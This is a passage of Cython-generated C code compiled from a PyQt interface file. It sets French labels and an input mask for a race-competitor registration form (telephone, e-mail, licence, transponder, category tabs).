__Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1020 * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) # <<<<<<<<<<<<<< * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__619, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1021 * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) # <<<<<<<<<<<<<< * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_17); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__620, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1022 * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) # <<<<<<<<<<<<<< * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__621, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1023 * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) # <<<<<<<<<<<<<< * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__622, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1024 * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) # <<<<<<<<<<<<<< * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__623, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1025 * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) # <<<<<<<<<<<<<< * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__624, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1026 * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__625, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1027 * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if 